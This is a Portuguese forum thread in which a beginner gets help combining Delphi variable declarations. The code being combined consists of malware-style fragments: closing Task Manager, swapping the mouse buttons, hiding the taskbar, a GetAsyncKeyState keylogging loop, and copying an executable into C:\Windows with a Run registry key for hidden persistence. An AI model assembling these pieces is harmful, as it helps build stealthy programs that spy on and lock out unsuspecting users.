Duvida Variavel

[cesargbi16]

Duvida Básica Variavel

É o seguinte pessoal, estou com uma dúvida acho q facil de resolver...
Sempre q uso uma varialvel nao consigo colocar outro comando no inicio ou no final do codigo. Exemplo:

Coloco o Time e defino tempo um e coloco nele a seguinte variavel:

var
janela : HWND;

begin

janela := findwindow(nil,'Gerenciador de tarefas do Windows');
postmessage(janela,WM_close,0,0);

Para fechar gerenciador de tarefas do windows...
Dai coloco o outro codigo q é esse:

SwapMouseButton(true);

Inverte botão do mouse...
Posso colocar no inicio o no fim da errro na linha do codigo do inverte mouse ja colocando só o codigo do inverte mouse da certo... Estou perguntando isso vc's ja devem ter percebido pq sou iniciante...

Então queria saber como usar variavel e qualquer outro comando juntos.


Desde de já muito obrigado a todos q me ajudarem...

[Black-Hat]

Cara...não tem problema nenhum em fazer:

var
janela : HWND;

begin

   janela := findwindow(nil,'Gerenciador de tarefas do Windows');
   postmessage(janela,WM_close,0,0);
   SwapMouseButton(true);
end;

O erro na linha "SwapMouseButton" pode ser algum erro DENTRO da sua função SwapMouseButton e não na chamada da função em si....

Se quiser cola ai a sua funçao que a gente da uma olhada pra vc...


Flws =)

[cesargbi16]

O erro na linha "SwapMouseButton" pode ser algum erro DENTRO da sua função SwapMouseButton e não na chamada da função em si....

Se quiser cola ai a sua funçao que a gente da uma olhada pra vc...


Flws =)

Vlw irmão era so uma duvida mesmo mais agora td certo...
Brigadão...

[cesargbi16]

Ha e s fosse para min usar outra variavel:

var
Janela: HWND;
begin
Janela := FindWindow('Shell_TrayWnd', nil);
if Janela > 0 then
ShowWindow(Janela, SW_HIDE);
end;

Junto com aquela outra ai em cima

[Black-Hat]

Ha e s fosse para min usar outra variavel:

var
Janela: HWND;
begin
Janela := FindWindow('Shell_TrayWnd', nil);
if Janela > 0 then
ShowWindow(Janela, SW_HIDE);
end;

Junto com aquela outra ai em cima

Isso...
entre var e begin vc declara as variáveis...todas que vc quiser =)

Boa sorte ai

[cesargbi16]

como assim?
Exemplo:
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then

S eu quiser usar esta variavel ai junto com essa:
var
OldValue : LongBool;
begin
SystemParametersInfo(97, Word(True), @OldValue, 0);

Eu tenho q ir entre var e begin e colocar assim:
var
keyloop, KeyResult : Integer, OldValue : LongBool;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
SystemParametersInfo(97, Word(True), @OldValue, 0);

É isso?

[Black-Hat]

Quase isso... xD

Faz Assim:

var
keyloop, KeyResult : Integer;
OldValue : LongBool;
begin
   keyloop := 0;
   repeat 
   KeyResult := GetAsyncKeyState(keyloop);
   if KeyResult = -32767 then
      SystemParametersInfo(97, Word(True), @OldValue, 0);
...

Variáveis do mesmo tipo podem ser declaradas juntas na mesma linha, separadas por vírgula, exemplo:

var
Var1, Var2, Var3, Var4:Integer;
Var5, Var6, Var7, Var8: String;
Var9: Pointer;
begin

Var1, Var2, Var3 e Var4 são do mesmo tipo, então elas podem ser declaradas juntas na mesma linha, separadas por vírgula, como escrevi ai.
Note que a partir de Var5, mudamos o tipo, então terminamos a linha de cima com um ";" (ponto e virgula) e começamos uma nova linha...A mesma coisa quando declaramos Var9...


Se você preferir, vc pode declarar uma por linha mesmo, Assim:

var
Var1: Integer;
Var2: Integer;
Var3: Integer;
Var4: Integer;
Var5: String;
Var6: String;
Var7: String;
Var8: String;
Var9: Pointer;
begin

Quaolquer coisa posta aí

[cesargbi16]

Cara,

Fiz aqui n da erro mas so funciona o primeiro codigo o segundo não funciona
Varialvel:
var
janela : HWND;
H : HWnd;
begin
janela := findwindow(nil,'Gerenciador de tarefas do Windows');
postmessage(janela,WM_close,0,0);
H := FindWindow(Nil,'Navegador');
if H <> 0 then ShowWindow(H,SW_HIDE);
end;

Só funciona o q estar em vermelho... Posso colocar na Segunda ou na Primeira da a Mesma Coisa...


Olha o outro ai q eu tentei tmb:

var
reg:TregInifile;
H : HWnd;
s,a : string;
begin
copyfile(pchar('Navegador.exe'),pchar('C:\Windows\ Navegador.exe') ,false);
s:= 'C:\Windows\Navegador.exe';
reg:= TregInifile.Create('full');
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.openkey
('\Software\Microsoft\Windows\CurrentVersion', false);
reg.WriteString('Run', 'Navegador', s);
H := FindWindow(Nil,'Navegador');
if H <> 0 then ShowWindow(H,SW_HIDE);
end;

[Black-Hat]

Qual o erro que tá dando?

[Black-Hat]

Ah e observe que vc tá fazendo:

if H <> Then...

Ou seja, ele só vai esconder a janela se ele achar. Se não estiver dando erro nenhum, apenas não estiver funcionando, significa que ele não achou a janela e não ta entrando no "If".

[cesargbi16]

È n ta dando erro nemhum mas, qualquer outro comando q coloco só funciona o primeiro entedeu a segunda variavel n funciona...